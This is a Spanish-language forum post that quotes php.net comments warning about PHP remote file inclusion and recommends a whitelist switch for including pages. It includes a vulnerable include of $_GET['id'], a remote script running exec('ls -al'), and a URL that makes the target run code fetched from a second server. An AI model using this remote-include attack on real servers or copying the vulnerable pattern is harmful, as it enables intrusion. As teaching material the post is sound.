cetutnx1
New Member
- Messages
- 510
- Reaction score
- 0
- Points
- 0
Yo que vos tendría mucho cuidado con el script de los includes... poque no lees esto:
Y creo que la mejor forma de hacerlo sería esta:
PD: Todos los ejemplos los saqué de php.net
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:
PHP:<?php // File: index.php include ($_GET['id'].".php"); ?>
This is, of course, not a very good way to program, but i actually found a program doing this.
Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:
If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/listPHP:<?php // File: list.php $output = ""; exec("ls -al",$output); foreach($output as $line) { echo $line . "<br>\n"; } ?>
then Server B will execute list.php and Server A will include the output of Server B, a list of files.
But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.
So, allways be extremely carefull with remote includes.
Y creo que la mejor forma de hacerlo sería esta:
In addition to the redeye at cs-aktuell dot de note:
to make pseudo-frame in total security
example: http://www.yourdomain.com/index.php?page=news
PHP:<?php /* verify the validity of GET var page if not set, do a default case */ if(isset($HTTP_GET_VARS['page'])) { $p = $HTTP_GET_VARS['page']; } else { $p = 'index'; } switch($p) { case 'index': require('welcome.php'); break; case 'news': require('news.php'); break; case 'what you want': require('the file you want'); break; default: exit('Wrong parameter for file inclusion'); } ?>
marco_
PD: Todos los ejemplos los saqué de php.net
Last edited: